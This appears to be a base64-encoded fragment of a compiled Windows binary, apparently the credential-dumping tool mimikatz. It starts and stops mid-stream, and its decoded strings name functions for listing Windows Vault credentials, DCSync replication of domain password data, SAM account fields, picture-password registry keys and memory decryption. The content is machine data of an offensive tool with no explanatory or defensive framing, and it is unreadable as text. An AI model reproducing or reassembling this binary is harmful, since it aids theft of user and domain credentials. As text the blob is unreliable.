CAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgAgACAAIABEAG8AbQBhAGkAbgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwAKACAAIAAgAFUAcwBlAHIATgBhAG0AZQAgACAAIAAgADoAIAAlAC4AKgBzAAoAAAAgACAAIABQAGEAcwBzAHcAbwByAGQALwBQAGkAbgA6ACAAJQAuACoAcwAKAAAAAAAKACAAIAAgACoAIABXAGUAYgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA/ACAAKgAKAAAAIAAgACAARABvAG0AYQBpAG4AIAAgACAAIAAgACAAOgAgACUAdwBaAAoAAAAgACAAIABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAA6ACAAJQB3AFoACgAAACAAIAAgAFAAYQBzAHMAdwBvAHIAZAAvAFAAaQBuADoAIAAlAHMACgAgAAAAdgBlAHIAYgBvAHMAZQAAAG0AcwB0AHMAYwBhAHgALgBkAGwAbAAAAAoAfAAgAFAASQBEACAAJQB1AAkAJQB3AFoAIAAoAG0AbwBkAHUAbABlACAAQAAgADAAeAAlAHAAKQAKAAAAAAAAAAAAfAAgACUAcAAgAC0AIAAlAHAAIAAtACAAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACAALQAgACUAcAAgAC0AIAAlAHUAIAAtACAAJQBwACAALQAgACUAcAAgAC0AIAAlAHUACgAAAFNlcnZlck5hbWUAAFNlcnZlckZxZG4AAFNlcnZlck5hbWVVc2VkRm9yQXV0aGVudGljYXRpb24AVXNlclNwZWNpZmllZFNlcnZlck5hbWUAVXNlck5hbWUAAAAARG9tYWluAABQYXNzd29yZAAAAABTbWFydENhcmRSZWFkZXJOYW1lAFJEbWlVc2VybmFtZQAAAABQYXNzd29yZENvbnRhaW5zU0NhcmRQaW4AAAAAJQAtADQAMABTACAAIAAAAFsAIABkAHcAbwByAGQAIABdACAAJQB1ACAAKAAwAHgAJQAwADgAeAApAAAAWwAgAHcAbwByAGQAPwAgAF0AIAAlAHUAIAAoADAAeAAlADAANAB4ACkAAABUAFIAVQBFAAAAAABGAEEATABTAEUAAABbACAAYgBvAG8AbAAgACAAXQAgACUAcwAAAAAAWwB3AHMAdAByAGkAbgBnAF0AIAAAAAAAJwAlAHMAJwAAAAAAWwBwAHIAbwB0AGUAYwB0AF0AIAAAAAAAJwAlAC4AKgBzACcAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAcwBfAG0AcwB0AHMAYwBfAE0AZQBtAG8AcgB5AEEAbgBhAGwAeQBzAGkAcwBfAHAAcgBvAHAAZQByAHQAeQAgADsAIABDAHIAeQBwAHQAVQBuAHAAcgBvAHQAZQBjAHQATQBlAG0AbwByAHkAAAAAAFsAdQBuAGsAIAAtACAAJQB1AF0AIAAwAHgAJQBwAAAAAAAAAFcAaQBuAGQAbwB3AHMAIABWAGEAdQBsAHQALwBDAHIAZQBkAGUAbgB0AGkAYQBsACAAbQBvAGQAdQBsAGUAAAB2AGEAdQBsAHQAYwBsAGkAAAAAAFZhdWx0RW51bWVyYXRlSXRlbVR5cGVzAFZhdWx0RW51bWVyYXRlVmF1bHRzAAAAAFZhdWx0T3BlblZhdWx0AABWYXVsdEdldEluZm9ybWF0aW9uAFZhdWx0RW51bWVyYXRlSXRlbXMAVmF1bHRDbG9zZVZhdWx0AFZhdWx0RnJlZQAAAFZhdWx0R2V0SXRlbQAAAABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAAAEQAbwBtAGEAaQBuACAAQwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABEAG8AbQBhAGkAbgAgAEUAeAB0AGUAbgBkAGUAZAAAAFAAaQBuACAATABvAGcAbwBuAAAAUABpAGMAdAB1AHIAZQAgAFAAYQBzAHMAdwBvAHIAZAAAAAAAQgBpAG8AbQBlAHQAcgBpAGMAAABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAAAAAAoAVgBhAHUAbAB0ACAAOgAgAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAkAIAAlADIAdQAuAAkAJQBzAAoAAAAAAAkACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAOgAgAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAACQAJAFIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkASQBkAGUAbgB0AGkAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACUAMgB1ACAAIAAgACAAIAA6ACAAAAAJAAkAKgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACoAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0ANwAgADoAIAAlADAAOAB4AAAAAAAJAAkAUABhAGMAawBhAGcAZQBTAGkAZAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0AOAAgADoAIAAlADAAOAB4AAAAAAAKAAkACQAqACoAKgAgACUAcwAgACoAKgAqAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARQBuAHUAbQBlAHIAYQB0AGUAVgBhAHUAbAB0AHMAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAgACgAJQBzAFwAJQBzACkAAAAAAAAAAABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AXABMAG8AZwBvAG4AVQBJAFwAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAAAAAAGIAZwBQAGEAdABoAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAyACAAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADEAIAA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBJAEQAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAAAJAAkAUABhAHMAcwB3AG8AcgBkACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBQAEkATgAgAEMAbwBkAGUAIAAgACAAIAAgACAAIAAgADoAIAAlADAANABoAHUACgAAAAAACQAJAEIAYQBjAGsAZwByAG8AdQBuAGQAIABwAGEAdABoACAAOgAgACUAcwAKAAAACQAJAFAAaQBjAHQAdQByAGUAIABwAGEAcwBzAHcAbwByAGQAIAAoAGcAcgBpAGQAIABpAHMAIAAxADUAMAAqADEAMAAwACkACgAAAAkACQAgAFsAJQB1AF0AIAAAAAAAcABvAGkAbgB0ACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAAABjAGwAbwBjAGsAdwBpAHMAZQAAAGEAbgB0AGkAYwBsAG8AYwBrAHcAaQBzAGUAAABjAGkAcgBjAGwAZQAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACAAOwAgAHIAIAA9ACAAJQAzAHUAKQAgAC0AIAAlAHMAAAAAAAAAbABpAG4AZQAgACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApACAALQA+ACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAACUAdQAKAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAC4AKgBzAFwAAAB0AG8AZABvACAAPwAKAAAACQAJAEUAbgBjAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAKAAkACQBJAFYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAoACQAJAEUAbgBjAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAOgAgAAAACQBOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAdABlAG0AcAAgAHYAYQB1AGwAdAAAAAAACQBQAGEAdABoACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAWwBVAFMASABPAFIAVABdACAAJQBoAHUAAAAAAFsARABXAE8AUgBEAF0AIAAlAHUAAAAAAFsAUwBUAFIASQBOAEcAXQAgACUAcwAAAFsAQgBZAFQARQAqAF0AIAAAAAAAWwBTAEkARABdACAAAAAAAFsAQQBUAFQAUgBJAEIAVQBUAEUAXQAKAAAAAAAJAAkAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAACQAJACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAACQAJACAAIABWAGEAbAB1AGUAIAAgACAAOgAgAAAAAABbAFQAeQBwAGUAIAAlADIAdQBdACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAA6ACAAJQBzACAALwAgACUAcwAKAFUAcwBlAHIATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAQwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgBUAHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBQAGUAcgBzAGkAcwB0ACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBGAGwAYQBnAHMAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAA6ACAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQB1AAoAAAAgAFsAJQAyAHUAXQAgAEEAdAB0AHIAaQBiAHUAdABlAAoAAAAgACAARgBsAGEAZwBzACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAgACAASwBlAHkAdwBvAHIAZAAgADoAIAAlAHMACgAAACAAIABWAGEAbAB1AGUAIAAgACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkAF8AdAByAHkARQBuAGMAcgB5AHAAdABlAGQAIAA7ACAAQwByAHkAcAB0AFUAbgBwAHIAbwB0AGUAYwB0AEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAACoAIABJAHYAYQBuAHQAaQAgAEYAaQBsAGUARABpAHIAZQBjAHQAbwByACAAYwByAGUAZABlAG4AdABpAGEAbAAgAGIAbABvAGIAIAAqAAoAAAAAAGkAbgBmAG8AcwAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAAAE0AaQBuAGUAUwB3AGUAZQBwAGUAcgAgAG0AbwBkAHUAbABlAAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIALgBlAHgAZQAAAEYAaQBlAGwAZAAgADoAIAAlAHUAIAByACAAeAAgACUAdQAgAGMACgBNAGkAbgBlAHMAIAA6ACAAJQB1AAoACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAQwAgACgAUgAgAD0AIAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBlAG0AbwByAHkAIABSAAoAAAAAACUAQwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAQgBvAGEAcgBkACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBhAG0AZQAgAGMAbwBwAHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAIABjAG8AcAB5AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHAGwAbwBiAGEAbAAgAGMAbwBwAHkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABTAGUAYQByAGMAaAAgAGkAcwAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABOAFQAIABIAGUAYQBkAGUAcgBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABQAEUAQgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABOAG8AIABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABpAG4AIABtAGUAbQBvAHIAeQAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAZQBsAGUAbQBlAG4AdABzACAAZgByAG8AbQAgAGMAbwBsAHUAbQBuADoAIAAlAHUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzACAAZgByAG8AbQAgAGMAbwBsAHUAbQBuADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAHIAZQBmAGUAcgBlAG4AYwBlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGYAaQByAHMAdAAgAGUAbABlAG0AZQBuAHQACgAAADEuMi44NDAuMTEzNTU2LjEuNC4xAAAAADEuMi44NDAuMTEzNTU2LjEuNC4yMjEAADEuMi44NDAuMTEzNTU2LjEuNC42NTYAADEuMi44NDAuMTEzNTU2LjEuNC4zMDIAADEuMi44NDAuMTEzNTU2LjEuNC44AAAAADEuMi44NDAuMTEzNTU2LjEuNC4xNTkAADEuMi44NDAuMTEzNTU2LjEuNC45NgAAADEuMi44NDAuMTEzNTU2LjEuNC4xNDYAADEuMi44NDAuMTEzNTU2LjEuNC42MDkAADEuMi44NDAuMTEzNTU2LjEuNC4xMzMAADEuMi44NDAuMTEzNTU2LjEuMi40OAAAAGEAbABsAAAAYwBzAHYAAABkAGUAbABlAHQAZQBkAAAAdQBhAGMAAABhAHUAdABoAG4AdABsAG0AAAAAAGsAZABjAAAAWwBEAEMAXQAgAEUAeABwAG8AcgB0AGkAbgBnACAAZABvAG0AYQBpAG4AIAAnACUAcwAnAAoAAABbAEQAQwBdACAATwBiAGoAZQBjAHQAIAB3AGkAdABoACAARwBVAEkARAAgACcAJQBzACcACgAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAdQBzAGUAcgAgAGEAYwBjAG8AdQBuAHQACgAAAGwAZABhAHAAAAAAAAAAAABbAEQAQwBdACAAbQBzAC0ARABTAC0AUgBlAHAAbABpAGMAYQB0AGkAbwBuAEUAcABvAGMAaAAgAGkAcwA6ACAAJQB1AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAFIAUwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwAsACAAaQBuAHYAYQBsAGkAZAAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAKAAlAHUAKQAgAGEAbgBkAC8AbwByACAAYwBOAHUAbQBPAGIAagBlAGMAdABzACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAbwByACAAZwB1AGkAZAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAsACAAbwByACAAZABvAGUAcwBuACcAdAAgAGwAbwBvAGsAIABsAGkAawBlACAAYQAgAEYAUQBEAE4ACgAAAAAAIAAgACAAIAAlAHMALQAlADIAdQA6ACAAAAAAACAAIABIAGEAcwBoACAAJQBzADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABOAHQATwB3AGYAUAB3AGQAVwBpAHQAaABJAG4AZABlAHgALwBSAHQAbABEAGUAYwByAHkAcAB0AEwAbQBPAHcAZgBQAHcAZABXAGkAdABoAEkAbgBkAGUAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwBfAGQAZQBzAGMAcgBPAGIAagBlAGMAdABfAGMAcwB2ACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQATgB0AE8AdwBmAFAAdwBkAFcAaQB0AGgASQBuAGQAZQB4AAAACgBPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAFMAQwBSAEkAUABUAAAAAABBAEMAQwBPAFUATgBUAEQASQBTAEEAQgBMAEUAAAAAADAAeAA0ACAAPwAAAEgATwBNAEUARABJAFIAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAEwATwBDAEsATwBVAFQAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAABFAE4AQwBSAFkAUABUAEUARABfAFQARQBYAFQAXwBQAEEAUwBTAFcATwBSAEQAXwBBAEwATABPAFcARQBEAAAAVABFAE0AUABfAEQAVQBQAEwASQBDAEEAVABFAF8AQQBDAEMATwBVAE4AVAAAAAAATgBPAFIATQBBAEwAXwBBAEMAQwBPAFUATgBUAAAAAAAwAHgANAAwADAAIAA/AAAASQBOAFQARQBSAEQATwBNAEEASQBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAFcATwBSAEsAUwBUAEEAVABJAE8ATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABTAEUAUgBWAEUAUgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAwACAAPwAAAAAAMAB4ADgAMAAwADAAIAA/AAAAAABEAE8ATgBUAF8ARQBYAFAASQBSAEUAXwBQAEEAUwBTAFcARAAAAAAATQBOAFMAXwBMAE8ARwBPAE4AXwBBAEMAQwBPAFUATgBUAAAAUwBNAEEAUgBUAEMAQQBSAEQAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAFQAUgBVAFMAVABFAEQAXwBGAE8AUgBfAEQARQBMAEUARwBBAFQASQBPAE4AAAAAAE4ATwBUAF8ARABFAEwARQBHAEEAVABFAEQAAABVAFMARQBfAEQARQBTAF8ASwBFAFkAXwBPAE4ATABZAAAAAABEAE8ATgBUAF8AUgBFAFEAVQBJAFIARQBfAFAAUgBFAEEAVQBUAEgAAAAAAFAAQQBTAFMAVwBPAFIARABfAEUAWABQAEkAUgBFAEQAAAAAAFQAUgBVAFMAVABFAEQAXwBUAE8AXwBBAFUAVABIAEUATgBUAEkAQwBBAFQARQBfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAF8AQQBVAFQASABfAEQAQQBUAEEAXwBSAEUAUQBVAEkAUgBFAEQAAABQAEEAUgBUAEkAQQBMAF8AUwBFAEMAUgBFAFQAUwBfAEEAQwBDAE8AVQBOAFQAAABVAFMARQBfAEEARQBTAF8ASwBFAFkAUwAAAAAAMAB4ADEAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAAyADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgANAAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADgAMAAwADAAMAAwADAAMAAgAD8AAAAAAEQATwBNAEEASQBOAF8ATwBCAEoARQBDAFQAAABHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAAAATgBPAE4AXwBTAEUAQwBVAFIASQBUAFkAXwBHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAVQBTAEUAUgBfAE8AQgBKAEUAQwBUAAAATQBBAEMASABJAE4ARQBfAEEAQwBDAE8AVQBOAFQAAABUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAQQBQAFAAXwBCAEEAUwBJAEMAXwBHAFIATwBVAFAAAABBAFAAUABfAFEAVQBFAFIAWQBfAEcAUgBPAFUAUAAAACoAKgAgAFMAQQBNACAAQQBDAEMATwBVAE4AVAAgACoAKgAKAAoAAABTAEEATQAgAFUAcwBlAHIAbgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByACAAUAByAGkAbgBjAGkAcABhAGwAIABOAGEAbQBlACAAIAA6ACAAAABBAGMAYwBvAHUAbgB0ACAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAIAAlAHMAIAApAAoAAABVAHMAZQByACAAQQBjAGMAbwB1AG4AdAAgAEMAbwBuAHQAcgBvAGwAIAA6ACAAJQAwADgAeAAgACgAIAAAAAAAQQBjAGMAbwB1AG4AdAAgAGUAeABwAGkAcgBhAHQAaQBvAG4AIAAgACAAOgAgAAAAUABhAHMAcwB3AG8AcgBkACAAbABhAHMAdAAgAGMAaABhAG4AZwBlACAAOgAgAAAAUwBJAEQAIABoAGkAcwB0A